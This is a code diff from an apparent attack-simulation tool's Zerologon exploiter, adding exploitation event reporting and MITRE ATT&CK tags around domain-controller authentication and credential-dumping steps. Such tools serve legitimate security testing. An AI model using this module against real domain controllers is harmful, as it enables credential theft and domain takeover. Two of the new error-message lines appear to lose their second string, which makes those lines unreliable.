diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 19445f6ab..50e037d2a 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -18,7 +18,11 @@ from impacket.dcerpc.v5.dtypes import NULL from common.agent_events import CredentialsStolenEvent from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.credentials import Credentials, LMHash, NTHash, Username -from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1098_ATTACK_TECHNIQUE_TAG +from common.tags import ( + T1003_ATTACK_TECHNIQUE_TAG, + T1098_ATTACK_TECHNIQUE_TAG, + T1210_ATTACK_TECHNIQUE_TAG, +) from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.wmi_tools import WmiTools from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets @@ -34,7 +38,13 @@ logger = logging.getLogger(__name__) ZEROLOGON_EXPLOITER_TAG = "zerologon-exploiter" -ZEROLOGON_EVENT_TAGS = frozenset( +EXPLOIT_TAGS = ( + ZEROLOGON_EXPLOITER_TAG, + T1003_ATTACK_TECHNIQUE_TAG, + T1098_ATTACK_TECHNIQUE_TAG, + T1210_ATTACK_TECHNIQUE_TAG, +) +CREDENTIALS_STOLEN_EVENT_TAGS = frozenset( { ZEROLOGON_EXPLOITER_TAG, T1003_ATTACK_TECHNIQUE_TAG, @@ -120,16 +130,26 @@ class ZerologonExploiter(HostExploiter): return False def try_exploit_attempt(self, rpc_con) -> Optional[object]: + error_message = "" try: exploit_attempt_result = self.attempt_exploit(rpc_con) return exploit_attempt_result - except nrpc.DCERPCSessionError as e: + except nrpc.DCERPCSessionError as err: # Failure should be due to a STATUS_ACCESS_DENIED error. # Otherwise, the attack is probably not working. - if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: - logger.info(f"Unexpected error code from DC: {e.get_error_code()}") - except BaseException as e: - logger.info(f"Unexpected error: {e}") + if err.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: + error_message = f"Unexpected error code from DC: {err.get_error_code()}" + logger.info(error_message) + except BaseException as err: + error_message = f"Unexpected error: {err}" + logger.info(error_message) + + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + tags=EXPLOIT_TAGS, + error_message=error_message, + ) return None @@ -158,12 +178,22 @@ class ZerologonExploiter(HostExploiter): self.report_login_attempt(result=True, user=self.dc_name) _exploited = True logger.info("Exploit complete!") + + self._publish_exploitation_event( + target=self.host.ip_addr, exploitation_success=True, tags=EXPLOIT_TAGS + ) else: self.report_login_attempt(result=False, user=self.dc_name) _exploited = False - logger.info( - f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something " - f"went wrong." + error_message = f"Non-zero return code: {exploit_attempt_result['ErrorCode']}." + "Something went wrong." + logger.info(error_message) + + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + tags=EXPLOIT_TAGS, + error_message=error_message, ) return _exploited @@ -310,7 +340,7 @@ class ZerologonExploiter(HostExploiter): ) -> None: credentials_stolen_event = CredentialsStolenEvent( source=get_agent_id(), - tags=ZEROLOGON_EVENT_TAGS, + tags=CREDENTIALS_STOLEN_EVENT_TAGS, stolen_credentials=extracted_credentials, ) self.agent_event_queue.publish(credentials_stolen_event) diff --git a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py index e5fd32df0..434071165 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py @@ -5,7 +5,9 @@ import nmb.NetBIOS from impacket.dcerpc.v5 import nrpc, rpcrt from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT +from common.tags import T1210_ATTACK_TECHNIQUE_TAG from common.utils.exceptions import DomainControllerNameFetchError +from infection_monkey.exploit.zerologon import ZEROLOGON_EXPLOITER_TAG from infection_monkey.model import VictimHost from infection_monkey.utils.threading import interruptible_iter @@ -40,8 +42,15 @@ def is_exploitable(zerologon_exploiter_object) -> Tuple[bool, Optional[rpcrt.DCE # Connect to the DC's Netlogon service. try: rpc_con = zerologon_exploiter_object.connect_to_dc(zerologon_exploiter_object.dc_ip) - except Exception as e: - logger.info(f"Exception occurred while connecting to DC: {str(e)}") + except Exception as err: + error_message = f"Exception occurred while connecting to DC: {err}" + logger.info(error_message) + zerologon_exploiter_object._publish_exploitation_event( + target=zerologon_exploiter_object.host.ip_addr, + exploitation_success=False, + error_message=error_message, + tags=(ZEROLOGON_EXPLOITER_TAG, T1210_ATTACK_TECHNIQUE_TAG), + ) return False, None # Try authenticating. @@ -52,8 +61,16 @@ def is_exploitable(zerologon_exploiter_object) -> Tuple[bool, Optional[rpcrt.DCE rpc_con_auth_result = _try_zero_authenticate(zerologon_exploiter_object, rpc_con) if rpc_con_auth_result is not None: return True, rpc_con_auth_result - except Exception as ex: - logger.info(ex) + except Exception as err: + error_message = "Error occured while authenticating to " + f"{zerologon_exploiter_object.host}: {err}" + logger.info(error_message) + zerologon_exploiter_object._publish_exploitation_event( + target=zerologon_exploiter_object.host.ip_addr, + exploitation_success=False, + error_message=error_message, + tags=(ZEROLOGON_EXPLOITER_TAG, T1210_ATTACK_TECHNIQUE_TAG), + ) return False, None return False, None